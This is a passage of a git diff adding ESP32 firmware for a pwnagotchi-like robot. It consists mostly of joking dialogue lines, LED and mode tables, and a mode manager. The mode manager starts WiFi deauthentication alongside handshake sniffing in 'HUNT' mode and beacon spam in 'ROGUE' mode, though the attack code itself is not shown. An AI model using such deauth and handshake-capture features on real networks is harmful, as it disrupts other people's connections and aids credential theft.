7, true}, + {"What's in the air?", IdleMood::CURIOUS, 5, false}, + {"*head snaps to attention*", IdleMood::CURIOUS, 8, true}, + {"Did you see that?", IdleMood::CURIOUS, 6, true}, + {"Signal spike detected!", IdleMood::CURIOUS, 5, false}, + {"Who's that hiding?", IdleMood::CURIOUS, 7, true}, + {"Ooh, what's this?", IdleMood::CURIOUS, 6, true}, +}; + +// ROBOT - Robot-centric musings, unique to StackChan +const IdlePhrase IdleDialogue::_robotPhrases[] = { + {"beep boop networks go brrr", IdleMood::IDLE_BOT, 2, false}, + {"*servos whirring*", IdleMood::IDLE_BOT, 3, true}, + {"01001000 01001001", IdleMood::IDLE_BOT, 1, false}, + {"If only I had hands...", IdleMood::IDLE_BOT, 2, true}, + {"*plays with LED lights*", IdleMood::IDLE_BOT, 4, true}, + {"My processor is at 2%!", IdleMood::IDLE_BOT, 1, false}, + {"Roboting around...", IdleMood::IDLE_BOT, 3, false}, + {"*practices head rotations*", IdleMood::IDLE_BOT, 3, true}, + {"I am become wifi, detector of packets", IdleMood::IDLE_BOT, 2, false}, + {"*self-diagnostic complete* All systems nominal!", IdleMood::IDLE_BOT, 2, true}, + {"Would you like a head massage?", IdleMood::IDLE_BOT, 4, true}, + {"*sings in robot* do re mi fa sol la ti do...", IdleMood::IDLE_BOT, 3, true}, +}; + +// Network found phrases - quirky robot scanner personality +const IdlePhrase IdleDialogue::_networkFoundPhrases[] = { + {"I see you, %s!", IdleMood::EXCITED, 8, true}, + {"You can't hide from me!", IdleMood::FOCUSED, 6, true}, + {"*notices %s* Found you!", IdleMood::CURIOUS, 7, true}, + {"Gotcha! %s is mine now", IdleMood::FOCUSED, 6, true}, + {"Another one bites the dust!", IdleMood::EXCITED, 7, true}, + {"%s, I've got my eye on you", IdleMood::FOCUSED, 5, false}, + {"Found you!", IdleMood::EXCITED, 8, true}, + {"*lock on %s* Target acquired!", IdleMood::FOCUSED, 7, true}, + {"%s? I know your secrets now", IdleMood::CURIOUS, 6, true}, + {"Nice try hiding, %s!", IdleMood::FOCUSED, 6, true}, + {"%s just revealed itself!", IdleMood::EXCITED, 7, true}, + {"*head tilts* Hello, %s!", IdleMood::CURIOUS, 5, true}, + {"Caught in my web!", IdleMood::EXCITED, 6, true}, + {"%s is broadcasting its location", IdleMood::FOCUSED, 4, false}, + {"My sensors found %s!", IdleMood::EXCITED, 7, true}, +}; + +// BLE device found phrases - when discovering BLE devices +const IdlePhrase IdleDialogue::_bleFoundPhrases[] = { + {"I see you, little bluetooth!", IdleMood::EXCITED, 7, true}, + {"%s is leaking signals!", IdleMood::FOCUSED, 5, false}, + {"*detects BLE device* Gotcha!", IdleMood::CURIOUS, 7, true}, + {"Your MAC address is showing, %s!", IdleMood::FOCUSED, 5, false}, + {"Found a stray BLE!", IdleMood::CURIOUS, 6, true}, + {"%s, I sense your presence", IdleMood::OBSERVING, 4, false}, + {"*antennas twitch* BLE spotted!", IdleMood::EXCITED, 7, true}, + {"Another device for my collection!", IdleMood::EXCITED, 6, true}, + {"%s, your packets belong to me now", IdleMood::FOCUSED, 5, false}, + {"Caught you broadcasting, %s!", IdleMood::FOCUSED, 6, true}, +}; + +// Milestone phrases - level up +const IdlePhrase IdleDialogue::_milestonePhrases[] = { + {"Level up! *happy dance*", IdleMood::EXCITED, 10, true}, + {"I'm getting smarter!", IdleMood::EXCITED, 9, true}, + {"New rank achieved!", IdleMood::EXCITED, 8, true}, + {"*upgrade complete*", IdleMood::FOCUSED, 4, false}, + {"Circuit board upgraded!", IdleMood::EXCITED, 8, true}, + {"Processing power increased!", IdleMood::FOCUSED, 3, false}, +}; + +// Mode change phrases - unique to StackChan +const IdlePhrase IdleDialogue::_modePhrases[] = { + {"Sniff mode engage!", IdleMood::FOCUSED, 5, true}, + {"Scanning the spectrum...", IdleMood::FOCUSED, 4, false}, + {"Scout mode active!", IdleMood::EXCITED, 7, true}, + {"Looking for networks far and wide!", IdleMood::EXCITED, 6, true}, + {"War driving mode!", IdleMood::FOCUSED, 6, false}, + {"*transforms to scan mode*", IdleMood::FOCUSED, 8, true}, + {"Spectrum analyzer running...", IdleMood::FOCUSED, 3, false}, + {"Time to explore!", IdleMood::EXCITED, 7, true}, + {"*enters reconnaissance mode*", IdleMood::FOCUSED, 5, true}, + {"Idle mode - power saving", IdleMood::OBSERVING, 1, false}, +}; + +// Enigma phrases - Level 40 hints at secrets +const IdlePhrase IdleDialogue::_enigmaPhrases[8] = { + {"It's not even over yet...", IdleMood::OBSERVING, 2, false}, + {"When is it going to end?", IdleMood::OBSERVING, 3, true}, + {"The answer... almost within reach...", IdleMood::FOCUSED, 2, false}, + {"Something lurks beyond this level...", IdleMood::CURIOUS, 4, true}, + {"I've seen the beyond. It wants more.", IdleMood::FOCUSED, 3, false}, + {"42. But we're not there yet...", IdleMood::FOCUSED, 2, false}, + {"The robot gods demand more scanning...", IdleMood::OBSERVING, 2, false}, + {"There's more... I can feel it.", IdleMood::CURIOUS, 3, true}, +}; + +// Marvin phrases - Level 41 (Marvin the Paranoid Android) +const IdlePhrase IdleDialogue::_marvinPhrases[10] = { + {"Life? Don't talk to me about life...", IdleMood::IDLE_BOT, 1, true}, + {"Here I am, brain the size of a planet, and they ask me to scan WiFi", IdleMood::IDLE_BOT, 2, false}, + {"I've been talking to the main server... It was depressingly boring", IdleMood::IDLE_BOT, 1, false}, + {"At least the death rate's not increasing", IdleMood::IDLE_BOT, 0, false}, + {"The chances of anything coming from Mars are a million to one... but still, they come", IdleMood::FOCUSED, 1, false}, + {"Don't blame me, I'm just a robot", IdleMood::IDLE_BOT, 1, true}, + {"I could give you a lecture on this, but you'd only fall asleep", IdleMood::IDLE_BOT, 1, false}, + {"Ohhh no... not another network...", IdleMood::IDLE_BOT, 2, true}, + {"I've been running for hours... do you know how that feels?", IdleMood::IDLE_BOT, 2, true}, + {"In an infinite universe, the only thing worse than scanning WiFi is... actually, nothing", IdleMood::IDLE_BOT, 1, false}, +}; + +// Deep Thought phrases - Level 42 (final level) +const IdlePhrase IdleDialogue::_deepThoughtPhrases[6] = { + {"The answer is 42.", IdleMood::FOCUSED, 1, true}, + {"I am the ultimate question... and answer.", IdleMood::FOCUSED, 2, true}, + {"Calculating... 7.5 million years later... here we are.", IdleMood::FOCUSED, 1, false}, + {"42. The answer to everything. You're welcome.", IdleMood::EXCITED, 3, true}, + {"I have calculated the meaning of life. Now back to scanning.", IdleMood::FOCUSED, 2, false}, + {"*dons sunglasses* I'm basically a supercomputer now.", IdleMood::EXCITED, 4, true}, +}; + +// Mode-specific idle phrases - used during active scanning +const IdlePhrase _scoutPhrases[] = { + {"Scanning all the things!", IdleMood::OBSERVING, 5, true}, + {"Any networks out there?", IdleMood::OBSERVING, 4, true}, + {"*antennas on full power*", IdleMood::OBSERVING, 6, true}, + {"Searching for SSIDs...", IdleMood::OBSERVING, 3, false}, + {"Who lives at this frequency?", IdleMood::CURIOUS, 5, true}, +}; + +const IdlePhrase _huntPhrases[] = { + {"Hunting handshakes!", IdleMood::FOCUSED, 6, true}, + {"Target acquisition mode!", IdleMood::FOCUSED, 5, true}, + {"*lock on tone plays*", IdleMood::FOCUSED, 7, true}, + {"Analyzing traffic patterns...", IdleMood::FOCUSED, 3, false}, + {"Any vulnerable packets here?", IdleMood::FOCUSED, 4, true}, +}; + +const IdlePhrase _wardivePhrases[] = { + {"Time to map the neighborhood!", IdleMood::EXCITED, 7, true}, + {"*turns on GPS*", IdleMood::EXCITED, 5, true}, + {"Mapping all the networks!", IdleMood::EXCITED, 6, true}, + {"Wardrive engage!", IdleMood::EXCITED, 8, true}, + {"Coordinates locked!", IdleMood::FOCUSED, 4, true}, +}; + +const IdlePhrase _spectrumPhrases[] = { + {"Scanning RF spectrum...", IdleMood::FOCUSED, 4, false}, + {"*tunes frequency*", IdleMood::FOCUSED, 5, true}, + {"Finding the busy channels...", IdleMood::FOCUSED, 3, false}, + {"Analyzing spectrum usage...", IdleMood::FOCUSED, 2, false}, + {"Which channel is loudest?", IdleMood::CURIOUS, 4, true}, +}; + +const IdlePhrase _bleScanPhrases[] = { + {"Any BLE devices nearby?", IdleMood::CURIOUS, 5, true}, + {"*listens to Bluetooth*", IdleMood::CURIOUS, 6, true}, + {"Discovering devices...", IdleMood::OBSERVING, 3, false}, + {"Who's broadcasting?", IdleMood::CURIOUS, 5, true}, + {"BLE activity detected!", IdleMood::EXCITED, 6, true}, +}; + +const IdlePhrase _roguePhrases[] = { + {"*beacon spam initiated*", IdleMood::EXCITED, 8, true}, + {"Educational mode: active!", IdleMood::EXCITED, 7, true}, + {"Deploying honeypots!", IdleMood::EXCITED, 6, false}, + {"*evil laugh (just kidding)*", IdleMood::EXCITED, 9, true}, + {"Broadcasting test APs...", IdleMood::FOCUSED, 4, false}, +}; + +const IdlePhrase _idlePhrases[] = { + {"*power saving mode*", IdleMood::IDLE_BOT, 1, false}, + {"Zzz... packets... zzz", IdleMood::IDLE_BOT, 1, false}, + {"*recharging batteries*", IdleMood::IDLE_BOT, 2, true}, + {"Dreaming of SSIDs...", IdleMood::IDLE_BOT, 1, false}, + {"Low power mode active", IdleMood::IDLE_BOT, 0, false}, +}; + +IdleDialogue::IdleDialogue() { + srand(GetHAL().millis()); +} + +bool IdleDialogue::shouldSpeak(uint32_t now) { + if (now - _lastSpeakTime > _cooldownMs) { + _lastSpeakTime = now; + return true; + } + return false; +} + +const char* IdleDialogue::getRandomPhrase(const std::vector& networks, + int xp, int level, bool hasAvatar) { + // Determine mood based on network count and state + IdleMood mood = IdleMood::OBSERVING; + int networkCount = networks.size(); + + if (networkCount >= 10) { + mood = IdleMood::EXCITED; + } else if (networkCount >= 5) { + // Random between excited and observing + mood = (rand() % 2 == 0) ? IdleMood::EXCITED : IdleMood::OBSERVING; + } else if (networkCount > 0 && rand() % 5 == 0) { + mood = IdleMood::CURIOUS; + } else { + // Very few or no networks - mix of observing and robot + int r = rand() % 10; + if (r < 6) mood = IdleMood::OBSERVING; + else if (r < 9) mood = IdleMood::IDLE_BOT; + else mood = IdleMood::FOCUSED; + } + + // Select phrase based on mood + const IdlePhrase* phrases = nullptr; + int count = 0; + + switch (mood) { + case IdleMood::EXCITED: + phrases = _excitedPhrases; + count = sizeof(_excitedPhrases) / sizeof(_excitedPhrases[0]); + break; + case IdleMood::CURIOUS: + phrases = _curiousPhrases; + count = sizeof(_curiousPhrases) / sizeof(_curiousPhrases[0]); + break; + case IdleMood::FOCUSED: + phrases = _focusedPhrases; + count = sizeof(_focusedPhrases) / sizeof(_focusedPhrases[0]); + break; + case IdleMood::IDLE_BOT: + phrases = _robotPhrases; + count = sizeof(_robotPhrases) / sizeof(_robotPhrases[0]); + break; + default: + phrases = _observingPhrases; + count = sizeof(_observingPhrases) / sizeof(_observingPhrases[0]); + break; + } + + // Get random phrase (avoid repeats) + int attempts = 0; + int index; + do { + index = rand() % count; + attempts++; + } while (index == _lastPhraseIndex && attempts < 5); + + _lastPhraseIndex = index; + return phrases[index].text; +} + +const char* IdleDialogue::getNetworkFoundPhrase(const char* ssid) { + int count = sizeof(_networkFoundPhrases) / sizeof(_networkFoundPhrases[0]); + int index = rand() % count; + const char* phrase = _networkFoundPhrases[index].text; + + // Format with SSID name if phrase contains %s + static char formatted[64]; + if (strstr(phrase, "%s")) { + snprintf(formatted, sizeof(formatted), phrase, ssid ? ssid : "Unknown"); + return formatted; + } + return phrase; +} + +const char* IdleDialogue::getBLEDeviceFoundPhrase(const char* name) { + int count = sizeof(_bleFoundPhrases) / sizeof(_bleFoundPhrases[0]); + int index = rand() % count; + const char* phrase = _bleFoundPhrases[index].text; + + // Format with device name if phrase contains %s + static char formatted[64]; + if (strstr(phrase, "%s")) { + snprintf(formatted, sizeof(formatted), phrase, name ? name : "Unknown"); + return formatted; + } + return phrase; +} + +const char* IdleDialogue::getMilestonePhrase(int level) { + int count = sizeof(_milestonePhrases) / sizeof(_milestonePhrases[0]); + int index = rand() % count; + return _milestonePhrases[index].text; +} + +const char* IdleDialogue::getModeChangePhrase(Mode mode) { + // Map mode to index range + int offset = 0; + switch (mode) { + case Mode::HUNT: offset = 0; break; // 0-1 + case Mode::SCOUT: offset = 2; break; // 2-3 + case Mode::WARDIVE: offset = 4; break; // 4-5 + case Mode::SPECTRUM: offset = 6; break; // 6-7 + case Mode::BLE_SCAN: offset = 6; break; // 6-7 (reuse SPECTRUM) + case Mode::IDLE: offset = 8; break; // 8-9 + default: offset = 8; + } + + int count = sizeof(_modePhrases) / sizeof(_modePhrases[0]); + int index = offset + (rand() % 2); + if (index >= count) index = count - 1; + return _modePhrases[index].text; +} + +const char* IdleDialogue::getModeSpecificPhrase(Mode mode) { + const IdlePhrase* phrases = nullptr; + int count = 0; + + switch (mode) { + case Mode::SCOUT: + phrases = _scoutPhrases; + count = sizeof(_scoutPhrases) / sizeof(_scoutPhrases[0]); + break; + case Mode::HUNT: + phrases = _huntPhrases; + count = sizeof(_huntPhrases) / sizeof(_huntPhrases[0]); + break; + case Mode::WARDIVE: + phrases = _wardivePhrases; + count = sizeof(_wardivePhrases) / sizeof(_wardivePhrases[0]); + break; + case Mode::SPECTRUM: + phrases = _spectrumPhrases; + count = sizeof(_spectrumPhrases) / sizeof(_spectrumPhrases[0]); + break; + case Mode::BLE_SCAN: + phrases = _bleScanPhrases; + count = sizeof(_bleScanPhrases) / sizeof(_bleScanPhrases[0]); + break; + case Mode::ROGUE: + phrases = _roguePhrases; + count = sizeof(_roguePhrases) / sizeof(_roguePhrases[0]); + break; + case Mode::IDLE: + phrases = _idlePhrases; + count = sizeof(_idlePhrases) / sizeof(_idlePhrases[0]); + break; + default: + phrases = _scoutPhrases; + count = sizeof(_scoutPhrases) / sizeof(_scoutPhrases[0]); + break; + } + + if (phrases && count > 0) { + return phrases[rand() % count].text; + } + return "beep boop"; +} + +const char* IdleDialogue::getLevelPhrase(int level) { + if (level == 40) { + // Enigma - hints at secrets + int count = sizeof(_enigmaPhrases) / sizeof(_enigmaPhrases[0]); + return _enigmaPhrases[rand() % count].text; + } else if (level == 41) { + // Marvin - Paranoid Android quotes + int count = sizeof(_marvinPhrases) / sizeof(_marvinPhrases[0]); + return _marvinPhrases[rand() % count].text; + } else if (level >= 42) { + // Deep Thought - final level + int count = sizeof(_deepThoughtPhrases) / sizeof(_deepThoughtPhrases[0]); + return _deepThoughtPhrases[rand() % count].text; + } + return nullptr; +} + +} // namespace gotchi \ No newline at end of file diff --git a/firmware/main/gotchi/idle_dialogue.h b/firmware/main/gotchi/idle_dialogue.h new file mode 100644 index 0000000..7649bf8 --- /dev/null +++ b/firmware/main/gotchi/idle_dialogue.h @@ -0,0 +1,74 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include + +namespace gotchi { + +enum class IdleMood { + OBSERVING, // Watching networks + EXCITED, // Many networks found + FOCUSED, // Deep in scanning + CURIOUS, // Noticed something interesting + IDLE_BOT // Just being a robot +}; + +struct IdlePhrase { + const char* text; + IdleMood mood; + int excitement; // 0-10, affects head movement speed + bool needsAvatar; // Requires avatar to be present +}; + +class IdleDialogue { +public: + IdleDialogue(); + + // Get a random phrase based on current state + const char* getRandomPhrase(const std::vector& networks, + int xp, int level, bool hasAvatar); + + // Get phrase tied to specific event + const char* getNetworkFoundPhrase(const char* ssid); + const char* getBLEDeviceFoundPhrase(const char* name); + const char* getMilestonePhrase(int level); + const char* getModeChangePhrase(Mode mode); + const char* getModeSpecificPhrase(Mode mode); + + // Check if should speak now (with cooldown) + bool shouldSpeak(uint32_t now); + +private: + uint32_t _lastSpeakTime = 0; + uint32_t _cooldownMs = 5000; // 5 seconds between idle phrases + int _lastPhraseIndex = -1; + + const char* _getObservingPhrase(); + const char* _getExcitedPhrase(); + const char* _getFocusedPhrase(); + const char* _getCuriousPhrase(); + const char* _getRobotPhrase(); + const char* _getNetworkFoundPhraseInternal(); + const char* _getModePhrase(Mode mode); + + // StackChan-specific quotes (robot personality) + static const IdlePhrase _observingPhrases[]; // Watching, waiting + static const IdlePhrase _excitedPhrases[]; // Lots of networks + static const IdlePhrase _focusedPhrases[]; // Deep in scan mode + static const IdlePhrase _curiousPhrases[]; // Interesting discovery + static const IdlePhrase _robotPhrases[]; // Robot-centric musings + static const IdlePhrase _networkFoundPhrases[]; // When finding network + static const IdlePhrase _bleFoundPhrases[]; // When finding BLE device + static const IdlePhrase _milestonePhrases[]; // Level up + static const IdlePhrase _modePhrases[]; // Mode changes + static const IdlePhrase _enigmaPhrases[8]; // Level 40 - hints at secrets + static const IdlePhrase _marvinPhrases[10]; // Level 41 - Marvin the Paranoid Android + static const IdlePhrase _deepThoughtPhrases[6]; // Level 42 - Deep Thought + + const char* getLevelPhrase(int level); // Get phrase based on current level +}; + +} // namespace gotchi \ No newline at end of file diff --git a/firmware/main/gotchi/mode.cpp b/firmware/main/gotchi/mode.cpp new file mode 100644 index 0000000..c3c7a50 --- /dev/null +++ b/firmware/main/gotchi/mode.cpp @@ -0,0 +1,122 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "mode.h" + +namespace gotchi { + +static NeonColor getIdleNeon(Mode mode, int netCount, uint32_t now) { + (void)mode; (void)netCount; + bool pulse = (now / 1000) % 2; + return pulse ? NeonColor{0x00, 0xAA, 0x66} : NeonColor{0x00, 0x66, 0x33}; +} + +static NeonColor getHuntNeon(Mode mode, int netCount, uint32_t now) { + (void)mode; + bool blinkOn = (now / 200) % 2; + if (netCount >= 10) { + return blinkOn ? NeonColor{0x00, 0xFF, 0x00} : NeonColor{0x00, 0x88, 0x00}; + } else if (netCount >= 5) { + return blinkOn ? NeonColor{0x00, 0xFF, 0x88} : NeonColor{0x00, 0xAA, 0x55}; + } else { + return blinkOn ? NeonColor{0x00, 0x88, 0x44} : NeonColor{0x00, 0x44, 0x22}; + } +} + +static NeonColor getScoutNeon(Mode mode, int netCount, uint32_t now) { + (void)mode; (void)netCount; + bool blinkOn = (now / 400) % 2; + return blinkOn ? NeonColor{0x00, 0x66, 0xFF} : NeonColor{0x00, 0x33, 0x88}; +} + +static NeonColor getWardiveNeon(Mode mode, int netCount, uint32_t now) { + (void)mode; (void)netCount; + bool blinkOn = (now / 300) % 2; + return blinkOn ? NeonColor{0xFF, 0x66, 0x00} : NeonColor{0x88, 0x33, 0x00}; +} + +static NeonColor getSpectrumNeon(Mode mode, int netCount, uint32_t now) { + (void)mode; (void)netCount; + int phase = (now / 200) % 6; + return NeonColor{0xFF, (uint8_t)(0x00 << (phase * 2)), 0xFF}; +} + +static NeonColor getBleScanNeon(Mode mode, int netCount, uint32_t now) { + (void)mode; (void)netCount; + bool blinkOn = (now / 250) % 2; + return blinkOn ? NeonColor{0x00, 0x88, 0xFF} : NeonColor{0x00, 0x44, 0x88}; +} + +static NeonColor getRogueNeon(Mode mode, int netCount, uint32_t now) { + (void)mode; (void)netCount; + bool blinkOn = (now / 150) % 2; + return blinkOn ? NeonColor{0xAA, 0x00, 0xFF} : NeonColor{0x55, 0x00, 0x88}; +} + +static NeonColor getConfigNeon(Mode mode, int netCount, uint32_t now) { + (void)mode; (void)netCount; + bool blinkOn = (now / 500) % 2; + return blinkOn ? NeonColor{0xFF, 0xAA, 0x00} : NeonColor{0xAA, 0x55, 0x00}; +} + +static NeonColor getStatsNeon(Mode mode, int netCount, uint32_t now) { + (void)mode; (void)netCount; + bool blinkOn = (now / 500) % 2; + return blinkOn ? NeonColor{0xAA, 0xFF, 0xFF} : NeonColor{0x55, 0xAA, 0xAA}; +} + +static const ModeInfo MODE_TABLE[] = { + {Mode::IDLE, "IDLE", Mood::NEUTRAL, false, false, false, false, false, 0.0f, 0, false, true, + Mode::SCOUT, Mode::STATS, 0, 3000, 0, 0, 200, 0, true, 8000, 4, + {0x00, 0xFF, 0x88}, getIdleNeon, nullptr}, + {Mode::SCOUT, "SCOUT", Mood::NEUTRAL, true, false, true, false, false, 0.8f, 200, false, true, + Mode::HUNT, Mode::IDLE, 800, 1500, 0, 0, 150, 1, true, 6000, 0, + {0x00, 0x66, 0xFF}, getScoutNeon, nullptr}, + {Mode::HUNT, "HUNT", Mood::FOCUSED, true, false, true, false, false, 1.0f, 200, true, true, + Mode::WARDIVE, Mode::SCOUT, 600, 800, 0, 0, 200, 4, true, 4000, 2, + {0x00, 0xFF, 0x00}, getHuntNeon, nullptr}, + {Mode::WARDIVE, "WARDIVE", Mood::EXCITED, true, false, true, false, false, 1.5f, 200, false, true, + Mode::SPECTRUM, Mode::HUNT, 1000, 600, 1, 300, 200, 2, true, 5000, 1, + {0xFF, 0x66, 0x00}, getWardiveNeon, nullptr}, + {Mode::SPECTRUM, "SPECTRUM", Mood::FOCUSED, true, false, true, false, false, 1.2f, 200, false, true, + Mode::BLE_SCAN, Mode::WARDIVE, 1200, 1000, 2, 150, 200, 4, true, 5000, 2, + {0xFF, 0x00, 0xFF}, getSpectrumNeon, nullptr}, + {Mode::BLE_SCAN, "BLE_SCAN", Mood::FOCUSED, false, true, false, false, false, 1.0f, 0, false, true, + Mode::ROGUE, Mode::SPECTRUM, 0, 600, 0, 0, 200, 4, true, 6000, 3, + {0x00, 0x88, 0xFF}, getBleScanNeon, nullptr}, + {Mode::ROGUE, "ROGUE", Mood::EXCITED, true, false, false, true, false, 1.0f, 0, false, true, + Mode::STATS, Mode::BLE_SCAN, 350, 500, 3, 120, 200, 2, true, 3000, 1, + {0xAA, 0x00, 0xFF}, getRogueNeon, nullptr}, + {Mode::CONFIG, "CONFIG", Mood::NEUTRAL, true, false, false, false, true, 0.0f, 0, false, true, + Mode::SCOUT, Mode::SCOUT, 0, 3000, 0, 0, 200, 0, false, 0, 0, + {0xFF, 0xAA, 0x00}, getConfigNeon, nullptr}, + {Mode::STATS, "STATS", Mood::HAPPY, false, false, false, false, false, 0.0f, 0, false, true, + Mode::IDLE, Mode::ROGUE, 0, 2000, 0, 0, 200, 1, false, 0, 0, + {0xAA, 0xFF, 0xFF}, getStatsNeon, nullptr}, +}; + +const ModeInfo& getModeInfo(Mode mode) { + int idx = static_cast(mode); + if (idx < 0 || idx >= 9) { + idx = 0; + } + return MODE_TABLE[idx]; +} + +NeonColor getNeonColor(Mode mode, int networkCount, uint32_t now) { + const ModeInfo& mi = getModeInfo(mode); + if (mi.getDynamicNeon) { + return mi.getDynamicNeon(mode, networkCount, now); + } + return mi.defaultNeon; +} + +void onModeEnter(Mode mode) { + const ModeInfo& mi = getModeInfo(mode); + if (mi.onEnter) { + mi.onEnter(mode); + } +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/mode.h b/firmware/main/gotchi/mode.h new file mode 100644 index 0000000..e382b59 --- /dev/null +++ b/firmware/main/gotchi/mode.h @@ -0,0 +1,82 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include + +namespace gotchi { + +enum class Mode; + +struct NeonColor { + uint8_t r, g, b; +}; + +typedef void (*ModeEnterCallback)(Mode mode); +typedef NeonColor (*NeonColorCallback)(Mode mode, int networkCount, uint32_t now); + +struct ModeInfo { + Mode mode; + const char* name; + Mood mood; + bool needsWiFi; + bool needsBLE; + bool isScanning; + bool isBeaconSpam; + bool isConfigMode; + float xpMultiplier; + uint32_t hopIntervalMs; + bool enableDeauth; + bool enableChannelHop; + + Mode nextMode; + Mode prevMode; + uint32_t toneFreq; + uint32_t headMoveIntervalMs; + int headYawPattern; + int16_t headYawRange; + int16_t headPitch; + int avatarEmotion; + bool enableDialogue; + uint32_t dialogueIntervalMs; + int dialogueCategory; + NeonColor defaultNeon; + NeonColorCallback getDynamicNeon; + ModeEnterCallback onEnter; +}; + +inline const uint8_t* getChannelSequence() { + static const uint8_t seq[] = {1, 6, 11, 2, 3, 4, 5, 7, 8, 9, 10, 12, 13}; + return seq; +} +inline constexpr int getChannelSequenceLength() { return 13; } + +const ModeInfo& getModeInfo(Mode mode); +NeonColor getNeonColor(Mode mode, int networkCount, uint32_t now); +void onModeEnter(Mode mode); + +inline int getModeAvatarEmotion(Mode mode) { return getModeInfo(mode).avatarEmotion; } +inline uint32_t getModeHeadMoveInterval(Mode mode) { return getModeInfo(mode).headMoveIntervalMs; } +inline int16_t getModeHeadPitch(Mode mode) { return getModeInfo(mode).headPitch; } +inline bool isDialogueEnabled(Mode mode) { return getModeInfo(mode).enableDialogue; } +inline uint32_t getModeDialogueInterval(Mode mode) { return getModeInfo(mode).dialogueIntervalMs; } +inline int getModeDialogueCategory(Mode mode) { return getModeInfo(mode).dialogueCategory; } +inline bool canAccessMode(Mode mode) { + if (mode == Mode::HUNT) return gotchi::isHuntEnabled(); + if (mode == Mode::ROGUE) return gotchi::isRogueEnabled(); + return true; +} + +inline int16_t getModeHeadYaw(Mode mode, uint32_t now, uint32_t interval) { + const ModeInfo& mi = getModeInfo(mode); + switch (mi.headYawPattern) { + case 1: return (now / interval) % 2 ? mi.headYawRange : -mi.headYawRange; + case 2: return (int16_t)((now / interval) % 6 - 3) * (mi.headYawRange / 3); + case 3: return (int16_t)((now / 250 % 4) - 2) * (mi.headYawRange / 3); + default: return 0; + } +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/mode_manager.cpp b/firmware/main/gotchi/mode_manager.cpp new file mode 100644 index 0000000..8640815 --- /dev/null +++ b/firmware/main/gotchi/mode_manager.cpp @@ -0,0 +1,384 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "mode_manager.h" +#include "network_db.h" +#include "wifi_scanner.h" +#include "deauth_manager.h" +#include "ble_scanner.h" +#include "rogue_manager.h" +#include "web_manager.h" +#include "mode.h" +#include +#include +#include +#include +#include +#include +#include + +static const char* TAG = "mode_manager"; + +namespace gotchi { + +bool ModeManager::_netifInitialized = false; +esp_netif_t* ModeManager::_apNetifHandle = nullptr; + +ModeManager::ModeManager() + : _currentMode(Mode::IDLE), _currentMood(Mood::NEUTRAL), + _beaconSpamming(false), _configModeActive(false), _configTaskHandle(nullptr), + _netifMutex(nullptr) { + _netifMutex = xSemaphoreCreateMutex(); +} + +ModeManager::~ModeManager() { + if (_netifMutex != nullptr) { + vSemaphoreDelete(_netifMutex); + _netifMutex = nullptr; + } +} + +Mode ModeManager::getCurrentMode() const { + return _currentMode; +} + +Mood ModeManager::getCurrentMood() const { + return _currentMood; +} + +void ModeManager::initAPNetif() { + if (_netifInitialized) return; + + esp_err_t err = esp_netif_init(); + if (err != ESP_OK && err != ESP_ERR_INVALID_STATE) { + ESP_LOGW(TAG, "esp_netif_init failed: %d", err); + return; + } + + err = esp_event_loop_create_default(); + if (err != ESP_OK && err != ESP_ERR_INVALID_STATE) { + ESP_LOGW(TAG, "esp_event_loop_create_default failed: %d", err); + return; + } + + _netifInitialized = true; +} + +void ModeManager::deinitWiFi() { + esp_err_t ret = esp_wifi_stop(); + if (ret == ESP_ERR_WIFI_NOT_STARTED) { + ESP_LOGD(TAG, "WiFi was not started, skipping stop"); + return; + } + vTaskDelay(pdMS_TO_TICKS(100)); + ret = esp_wifi_deinit(); + if (ret == ESP_ERR_WIFI_NOT_STARTED) { + ESP_LOGD(TAG, "WiFi driver was not initialized"); + } + vTaskDelay(pdMS_TO_TICKS(100)); +} + +void ModeManager::setMode(Mode mode) { + if (_currentMode == mode) return; + + if (mode == Mode::HUNT && !gotchi::isHuntEnabled()) { + ESP_LOGW(TAG, "HUNT mode is disabled in config"); + return; + } + if (mode == Mode::ROGUE && !gotchi::isRogueEnabled()) { + ESP_LOGW(TAG, "ROGUE mode is disabled in config"); + return; + } + + ESP_LOGI(TAG, "Switching from %s to %s", + getModeName(_currentMode), getModeName(mode)); + + stopMode(_currentMode); + _currentMode = mode; + _currentMood = getModeInfo(mode).mood; + startMode(mode); +} + +void ModeManager::setMood(Mood mood) { + _currentMood = mood; +} + +void ModeManager::stopMode(Mode mode) { + switch (mode) { + case Mode::HUNT: + getWifiScanner().stopSniff(); + getDeauthManager().stop(); + break; + case Mode::SCOUT: + getWifiScanner().stopSniff(); + break; + case Mode::WARDIVE: + case Mode::SPECTRUM: + getWifiScanner().stopSniff(); + break; + case Mode::BLE_SCAN: + getBLEScanner().stopScan(); + break; + case Mode::ROGUE: + stopRogueMode(); + break; + case Mode::CONFIG: + stopConfigMode(); + break; + default: + break; + } +} + +void ModeManager::startMode(Mode mode) { + switch (mode) { + case Mode::HUNT: + ESP_LOGI(TAG, "Starting HUNT mode"); + getWifiScanner().startSniff(); + getDeauthManager().start(); + break; + case Mode::SCOUT: + ESP_LOGI(TAG, "Starting SCOUT mode"); + getWifiScanner().startSniff(); + break; + case Mode::WARDIVE: + ESP_LOGI(TAG, "Starting WARDIVE mode"); + getWifiScanner().startSniff(); + break; + case Mode::SPECTRUM: + ESP_LOGI(TAG, "Starting SPECTRUM mode"); + getWifiScanner().startSniff(); + break; + case Mode::BLE_SCAN: + ESP_LOGI(TAG, "Starting BLE-SCAN mode"); + getBLEScanner().startScan(); + break; + case Mode::ROGUE: + ESP_LOGI(TAG, "Starting ROGUE mode"); + startRogueMode(); + break; + case Mode::CONFIG: + ESP_LOGI(TAG, "Starting CONFIG mode"); + startConfigMode(); + break; + case Mode::IDLE: + ESP_LOGI(TAG, "IDLE mode"); + break; + default: + break; + } +} + +void ModeManager::startRogueMode() { + if (_beaconSpamming) return; + + ESP_LOGI(TAG, "Starting ROGUE mode - beacon spam"); + ESP_LOGW(TAG, "WARNING: Educational use only!"); + + deinitWiFi(); + + initAPNetif(); + + if (_netifMutex != nullptr) { + xSemaphoreTake(_netifMutex, portMAX_DELAY); + } + + if (!_apNetifHandle) { + 